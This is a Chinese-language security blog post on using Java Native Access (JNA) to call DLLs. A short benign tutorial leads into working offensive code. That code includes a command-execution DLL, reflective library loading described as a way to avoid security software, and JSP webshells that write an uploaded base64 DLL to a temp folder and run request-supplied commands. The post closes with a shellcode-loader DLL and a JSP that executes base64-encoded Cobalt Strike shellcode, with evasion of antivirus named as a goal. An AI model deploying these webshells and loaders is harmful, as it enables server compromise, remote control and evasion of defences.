我們一起聊聊 JNA 調用動態鏈接庫
作者：CSeroad
在學習JNA調用動態鏈接庫的時候，借鑒了很多師傅的思路，但無奈趕不上師傅們的高度，只能用稍微復雜點的辦法完善自己的代碼，來曲折得實現效果。
前言
在一次實際項目中遇到了無法調用exe可執行文件，聽說哥斯拉利用JNA技術實現了內存加載exe、執行命令等操作，特來實踐一下。
JNA 基礎知識
JNA全稱：Java Native Access，是建立在JNI（Java Native Interface）技術之上的Java開源框架，JNA提供了一組Java工具類用于在運行期間動態訪問的系統本地庫。簡單理解就是：JNA提供了一個"橋梁"，可以利用Java代碼直接訪問動態鏈接庫中的函數。
調用JNI接口
調用JNI接口的步驟為：
- 創建工程，將dll文件放到工程下
- 引入JNA相關的jar包
- 創建繼承自Library類的接口
- 接口中創建對象用于加載DLL/SO的類庫
- 接口中聲明DLL/SO類庫頭文件中暴露的方法
- 調用該方法
編譯DLL
以windows為例，使用Visual Studio 創建一個動態鏈接庫的工程，并定義一個頭文件testdll.h和源文件testdll.cpp。簡單實現一個SayHello的方法創建testdll.cpp，作用是用來實現被聲明的函數。
#include "pch.h"
#include "testdll.h"
void SayHello()
{
std::cout << "Hello！你成功了！" << std::endl;
}創建testdll.h頭文件，作用是用來聲明需要導出的函數接口
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void SayHello();
//聲明一個可被調用的函數“SayHello()”，它的返回類型是void。
//extern "C"的作用是告訴編譯器將被它修飾的代碼按C語言的方式進行編譯
//__declspec(dllexport)，此修飾符告訴編譯器和鏈接器被它修飾的函數或變量需要從DLL導出而后編譯出dll。注意：要DLL位數要與JDK位數相同，否則無法調用。
導入JAR包
首先創建java工程，可以是普通項目也可以是maven功能。maven 需要導入依賴
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.13.0</version>
</dependency>
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.13.0</version>
</dependency>普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導入。
調用DLL
我們需要繼承Library類接口，調用Native類的load方法將我們的testdll.dll加載進來并轉換為本地庫，而后聲明SayHello方法。
public interface Mydll extends Library {
Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
void SayHello();
}調用時不需要鏈接庫的后綴，會自動加上。聲明SayHello方法時，結合testdll.h頭文件，沒有返回值為void，也沒有需要的數據類型。（需要的話可查找JNA 數據類型對應關系）
然后在主方法里調用SayHello方法
public static void main(String[] args) {
Mydll.mydll.SayHello();
}
可以看到成功調用了testdll.dll的SayHello方法。
加載動態鏈接庫
在上面的代碼中，我們直接利用Native.load將dll轉換為本地庫，在此之前缺少了加載這一步。常見的加載動態鏈接庫有三種方法：
- System.load / System.loadLibrary
- Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
- com.sun.glass.utils.NativeLibLoader.loadLibrary
在使用時也有一些區別：load接收的是系統的絕對路徑，loadLibrary接收的是相對路徑。但實際利用過程中肯定是絕對路徑優先于相對路徑。以Runtime.getRuntime().load為例：
但實際利用可能會被安全軟件捕捉。我們反射調用loadLibrary方法。代碼來自Java加載動態鏈接庫這篇文章
try {
Class clazz = Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
mydll.SayHello();
}catch (Exception e){
e.printStackTrace();
}場景利用
現在我們想一下具體場景的利用，在此基礎上調整我們的代碼。
webshell
既然jna加載動態鏈接庫后轉換為本地庫，可以調用dll的任意方法，那實現一個命令執行應該也是可以的。
#include "pch.h"
#include "command.h"
#include <cstdlib>
#include <string>
void executeCommand(const char* command) {
char psBuffer[128];
FILE* pPipe;
if ((pPipe = _popen(command, "r")) == NULL)
{
exit(1);
}
while (fgets(psBuffer, 128, pPipe))
{
puts(psBuffer);
}
int endOfFileVal = feof(pPipe);
int closeReturnVal = _pclose(pPipe);
if (endOfFileVal)
{
printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
printf("Error: Failed to read the pipe to the end.\n");
}
}相應的頭文件
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void executeCommand(const char* command);java代碼加載并調用。
import com.sun.jna.Library;
import com.sun.jna.Native;
public class test {
public interface Mydll extends Library {
void executeCommand(String command);
}
public static void main(String[] args) {
try {
Class clazz = Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
Mydll mydll = (Mydll)Native.load("testdll",Mydll.class);
mydll.executeCommand("ipconfig");
}catch (Exception e){
e.printStackTrace();
}
}
}
成功實現。結合實際利用我們還需要優化一下代碼，改成jsp腳本文件。因為com.sun.jna包是第三方包，在實際利用肯定沒有。所以這里選擇將自己寫的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。
再把test類名修改為show，把dll動態鏈接庫和將要執行的命令作為參數傳遞進去。現在還差一個加載外部的jar包并調用方法的jsp腳本文件。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
URLClassLoader urlClassLoader =null;
Class<?> MyTest = null;
//通過URLClassLoader加載外部jar
urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
//獲取外部jar里面的具體類對象
MyTest = urlClassLoader.loadClass("com.jna.jnatest");
//創建對象實例
Object instance = MyTest.newInstance();
//獲取實例當中的方法名為show
Method method = MyTest.getMethod("show", String.class,String.class);
//傳入實例以及方法參數信息執行這個方法
Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
%>這樣用的時候需要向目標服務器手動上傳兩個文件，jar包和dll文件。我們再進一步優化一下。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String cmd = request.getParameter("cmd");
String base64 = request.getParameter("base64");
String file = UploadBase64DLL(base64);
String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
//通過URLClassLoader加載外部jar
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
//獲取外部jar里面的具體類對象
Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
//創建對象實例
Object instance = MyTest.newInstance();
//獲取實例當中的方法名為show，參數只有一個且類型為string的public方法
Method method = MyTest.getMethod("show", String.class,String.class);
//傳入實例以及方法參數信息執行這個方法
Object ada = method.invoke(instance, file,cmd);
}
catch (Exception e){
out.println(e);
}
%>現在只需要手動上傳一個jar包就可以，dll通過base64編碼上傳上去。這樣參數值就是base64編碼之后的dll和cmd要執行的系統命令。
唯一的缺點就是不能在前端顯示，或許將代碼加入到冰蝎可以實現？
shellcode
既然前端無法獲取結果，那直接加載shellcode上線cs呢？我們利用同樣的方式寫出加載shellcode的代碼。shellcode.cpp
#include "shellcode.h"
#include <iostream>
using namespace std;
void shellcode(PCHAR code, DWORD buf_len) {
cout << buf_len << endl;
DWORD oldprotect = 0;
LPVOID base_addr = NULL;
// 申請一塊buf_len長度大小的空間，RW權限，不要開rwx，PAGE_EXECUTE_READWRITE
base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 復制shellcode到新的空間，這個函數比較罕見，用memcpy也可以呀
unsigned char HexNumArray[4096];
int num = HexStr2HexNum(code, buf_len, HexNumArray);
RtlMoveMemory(base_addr, HexNumArray, buf_len);
// 修改為執行RX權限
VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
cout << "starting spawn shellcode" << endl;
// 當前進程創建線程執行shellcode
auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
// 等待線程返回值
WaitForSingleObject(ct, -1);
// 釋放內存
free(base_addr);
}
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
{
int j = 0;
for (int i = 0; i < len; i += 2)
{
if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78)
{
continue;
}
char HIGH_BYTE = 0;
char LOW_BYTE = 0;
//high 4
if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A)
{
HIGH_BYTE = HexStrArray[i] - 0x30;
}
else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47)
{
HIGH_BYTE = HexStrArray[i] - 0x37;
}
else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67)
{
HIGH_BYTE = HexStrArray[i] - 0x57;
}
else
{
printf("Please make sure the format of Hex String is correct!\r\n");
printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
return -1;
}
//low 4
if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A)
{
LOW_BYTE = HexStrArray[i + 1] - 0x30;
}
else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47)
{
LOW_BYTE = HexStrArray[i + 1] - 0x37;
}
else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67)
{
LOW_BYTE = HexStrArray[i + 1] - 0x57;
}
else
{
printf("Please make sure the format of Hex String is correct!\r\n");
printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
return -1;
}
HexNumArray[j] &= 0x0F;
HexNumArray[j] |= (HIGH_BYTE << 4);
HexNumArray[j] &= 0xF0;
HexNumArray[j] |= LOW_BYTE;
j++;
}
return 0;
}shellcode.h
#pragma once
#include <Windows.h>
extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);在java里加載并調用，傳入shellcode和長度。以達到更好的免殺性。
import java.util.Base64;
import com.sun.jna.Library;
import com.sun.jna.Native;
public class test {
public interface Mydll extends Library {
void shellcode(byte[] b,int length);
}
public static void show(String base64,String dllpath,String dllname) {
try {
Class clazz = Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, dllpath, true);
Mydll mydll = (Mydll)Native.load(dllname,Mydll.class);
byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);
int leng = base64decodedBytes.length;
mydll.shellcode(base64decodedBytes,leng);
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";
show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
}
}此時只需要將shellcode值base64編碼當做字符傳遞即可。測試一下
可以看到正常上線，進程為javaw.exe。那在實際環境中同樣不能這樣利用。依舊把java代碼打包為jar包，再修改一下jsp腳本文件應該就可以在實際運行了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(String dllname){
String fileName = "";
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + dllname + ".dll";
}else {
fileName = "/tmp/"+ dllname + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64,String dllname) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName(dllname));
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String shellcode = request.getParameter("shellcode");
String base64dll = request.getParameter("base64dll");
String dllname = request.getParameter("dllname");
String pathdll = UploadBase64DLL(base64dll,dllname);
String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
Object instance = MyTest.newInstance();
Method method = MyTest.getMethod("show", String.class,String.class,String.class);
Object ada = method.invoke(instance,shellcode, pathdll,dllname);
}
catch (Exception e){
out.println(e);
}
%>以tomcat為例，shellcode 即將cobaltstrike的shellcode進行base64編碼，base64dll 是base64編碼dll動態鏈接庫之后的值，dllname即是dll動態鏈接庫的名稱。測試可以正常上線執行命令。上線進程為java.exe。
總結
在學習JNA調用動態鏈接庫的時候，借鑒了很多師傅的思路，但無奈趕不上師傅們的高度，只能用稍微復雜點的辦法完善自己的代碼，來曲折得實現效果。
參考資料
https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/
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責任編輯：武曉燕
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